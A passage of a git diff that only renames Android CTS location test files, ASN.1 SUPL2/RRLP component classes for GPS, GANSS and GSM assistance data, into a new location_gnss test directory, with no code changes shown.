diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignalID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignalID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignals.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignals.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODm.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODm.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSUTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSUTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1_element.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1_element.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3_element.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3_element.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GLONASSclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GLONASSclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSClockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSClockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaElementList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaElementList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW23b.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW23b.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW24b.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW24b.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSWeek.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSWeek.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GSMTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GSMTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GanssDataBitsElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GanssDataBitsElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/IonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/IonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocErrorReason.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocErrorReason.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationError.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationError.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MeasureResponseTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MeasureResponseTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MethodType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MethodType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ModuloTimeSlot.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ModuloTimeSlot.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MpathIndic.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MpathIndic.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameOffset.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameOffset.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleSets.java
similarity index 100%
